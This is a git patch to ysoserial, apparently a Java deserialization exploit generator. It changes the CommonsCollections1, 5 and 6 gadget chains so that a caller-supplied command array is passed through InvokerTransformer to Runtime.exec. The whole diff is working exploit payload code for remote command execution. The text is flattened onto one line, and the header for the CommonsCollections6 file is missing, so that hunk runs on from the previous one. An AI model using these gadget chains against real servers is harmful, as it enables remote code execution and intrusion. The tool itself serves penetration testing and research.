From 61c8c124ed9253b093eb4ecba1f82e1e818bbfd2 Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Sat, 23 Sep 2017 18:43:18 -0400 Subject: [PATCH] fixed commons 1,5,6 --- src/main/java/ysoserial/payloads/CommonsCollections1.java | 8 ++++---- src/main/java/ysoserial/payloads/CommonsCollections5.java | 3 +-- src/main/java/ysoserial/payloads/CommonsCollections6.java | 4 +--- 3 files changed, 6 insertions(+), 9 deletions(-) diff --git a/src/main/java/ysoserial/payloads/CommonsCollections1.java b/src/main/java/ysoserial/payloads/CommonsCollections1.java index 6f22594..9d50fb2 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections1.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections1.java @@ -1,5 +1,6 @@ package ysoserial.payloads; +import java.io.Serializable; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; @@ -44,10 +45,9 @@ import ysoserial.payloads.util.Reflections; @PayloadTest ( precondition = "isApplicableJavaVersion") @Dependencies({"commons-collections:commons-collections:3.1"}) @Authors({ Authors.FROHOFF }) -public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { +public class CommonsCollections1 extends ExtendedObjectPayload { - public InvocationHandler getObject(final String command) throws Exception { - final String[] execArgs = new String[] { command }; + public InvocationHandler getObject(final String[] command) throws Exception { // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); @@ -61,7 +61,7 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload< Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", - new Class[] { String.class }, execArgs), + new Class[] { String[].class }, new Object[] { command }), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); diff --git a/src/main/java/ysoserial/payloads/CommonsCollections5.java b/src/main/java/ysoserial/payloads/CommonsCollections5.java index e8b7b76..89e05ba 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections5.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections5.java @@ -57,7 +57,6 @@ https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4e public class CommonsCollections5 extends ExtendedObjectPayload { public BadAttributeValueExpException getObject(final String[] command) throws Exception { - final String[] execArgs = command.clone(); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); @@ -71,7 +70,7 @@ public class CommonsCollections5 extends ExtendedObjectPayload { public Serializable getObject(final String[] command) throws Exception { - final String[] execArgs = command.clone(); - final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { @@ -49,7 +47,7 @@ public class CommonsCollections6 extends ExtendedObjectPayload { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", - new Class[] { String.class }, execArgs), + new Class[] { String[].class }, new Object[] { command }), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transformers);